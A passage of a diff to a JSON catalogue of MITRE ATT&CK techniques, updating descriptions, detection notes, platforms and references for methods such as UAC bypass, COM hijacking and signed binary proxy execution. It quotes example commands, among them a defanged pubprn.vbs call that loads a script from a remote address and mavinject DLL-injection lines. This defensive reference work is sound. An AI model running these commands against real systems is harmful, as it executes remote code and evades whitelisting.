Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1006", - "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1", - "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin" - ], - "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5" - }, - "value": "File System Logical Offsets" - }, - { - "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.[[Citation: Mozilla Firefox Installer DLL Hijack]][[Citation: Seclists Kanthak 7zip Installer]]\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to [[Discovery]] or other adversary techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM, User, Administrator\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "File monitoring", "Services", - "Process command-line parameters" + "Windows Registry" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1044", - "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", - "http://seclists.org/fulldisclosure/2015/Dec/34" - ], - "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a" + "https://attack.mitre.org/techniques/T1058", + "https://capec.mitre.org/data/definitions/203.html", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", + "https://twitter.com/r0wdy_/status/936365549553991680" + ] }, - "value": "File System Permissions Weakness" + "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "value": "Service Registry Permissions Weakness - T1058" }, { - "description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "external_id": "T1066", + "kill_chain": [ + "mitre-attack:defense-evasion" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1070" - ], - "uuid": "799ace7f-e227-4411-baa0-8868704f2a69" - }, - "value": "Indicator Removal on Host" - }, - { - "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata", - "meta": { "mitre_data_sources": [ "Process use of network", "Process monitoring", @@ -950,454 +2973,1508 @@ "Binary file metadata" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1066" - ], - "uuid": "00d0b012-8a03-410e-95de-5826bf542de6" + "https://attack.mitre.org/techniques/T1066" + ] }, - "value": "Indicator Removal from Tools" + "uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "value": "Indicator Removal from Tools - T1066" }, { - "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information [[Discovery]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", "meta": { + "external_id": "CAPEC-69", + "kill_chain": [ + "mitre-attack:privilege-escalation" + ], "mitre_data_sources": [ - "File monitoring", - "Data loss prevention" + "Windows Error Reporting", + "Process monitoring", + "Application logs" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1091" - ], - "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4" + "https://attack.mitre.org/techniques/T1068", + "https://capec.mitre.org/data/definitions/69.html" + ] }, - "value": "Replication Through Removable Media" + "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "value": "Exploitation for Privilege Escalation - T1068" }, { - "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM", + "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", "meta": { + "external_id": "T1088", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], "mitre_data_sources": [ - "Windows Registry", - "Services", + "System calls", + "Process monitoring", + "Authentication logs", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1058", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx" - ], - "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427" + "https://attack.mitre.org/techniques/T1088", + "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", + "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", + "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", + "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", + "https://msdn.microsoft.com/en-us/library/ms679687.aspx", + "https://github.com/hfiref0x/UACME", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", + "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + ] }, - "value": "Service Registry Permissions Weakness" + "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "value": "Bypass User Account Control - T1088" }, { - "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", "meta": { + "external_id": "T1211", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Error Reporting", + "Process monitoring", + "File monitoring" + ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1111", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf" - ], - "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49" + "https://attack.mitre.org/techniques/T1211" + ] }, - "value": "Two-Factor Authentication Interception" + "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", + "value": "Exploitation for Defense Evasion - T1211" }, { - "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network", + "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { + "external_id": "T1181", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1181", + "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", + "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", + "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", + "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "value": "Extra Window Memory Injection - T1181" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "meta": { + "external_id": "T1212", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Windows Error Reporting", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1212", + "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", + "https://adsecurity.org/?p=1515" + ] + }, + "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "value": "Exploitation for Credential Access - T1212" + }, + { + "description": "The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", + "meta": { + "external_id": "T1122", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "DLL monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1122", + "https://msdn.microsoft.com/library/ms694363.aspx", + "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" + ] + }, + "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "value": "Component Object Model Hijacking - T1122" + }, + { + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nSpecific common information repositories include:\n\n### Microsoft SharePoint\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n### Atlassian Confluence\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.", + "meta": { + "external_id": "T1213", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Application logs", + "Authentication logs", + "Data loss prevention", + "Third-party application logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1213", + "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2", + "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + ] + }, + "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "value": "Data from Information Repositories - T1213" + }, + { + "description": "On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.", + "meta": { + "external_id": "T1421", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1421", + "https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en" + ] + }, + "uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "value": "Local Network Connections Discovery - T1421" + }, + { + "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", + "meta": { + "external_id": "T1215", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "System calls", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1215", + "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", + "http://www.megasecurity.org/papers/Rootkits.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", + "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", + "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux", + "http://tldp.org/HOWTO/Module-HOWTO/x197.html", + "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "https://github.com/f0rb1dd3n/Reptile", + "https://github.com/m0nad/Diamorphine", + "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html" + ] + }, + "uuid": "6be14413-578e-46c1-8304-310762b3ecd5", + "value": "Kernel Modules and Extensions - T1215" + }, + { + "description": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", + "meta": { + "external_id": "T1126", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Packet capture", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1126", + "https://technet.microsoft.com/bb490717.aspx" + ] + }, + "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "value": "Network Share Connection Removal - T1126" + }, + { + "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)", + "meta": { + "external_id": "T1216", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1216", + "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", + "https://github.com/api0cradle/UltimateAppLockerByPassList" + ] + }, + "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", + "value": "Signed Script Proxy Execution - T1216" + }, + { + "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n\"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" /INJECTRUNNING \nC:\\Windows\\system32\\mavinject.exe /INJECTRUNNING \n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\nSeveral others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)", + "meta": { + "external_id": "T1218", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1218", + "https://twitter.com/gn3mes1s/status/941315826107510784", + "https://twitter.com/monoxgas/status/895045566090010624", + "https://github.com/api0cradle/UltimateAppLockerByPassList" + ] + }, + "uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "value": "Signed Binary Proxy Execution - T1218" + }, + { + "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module 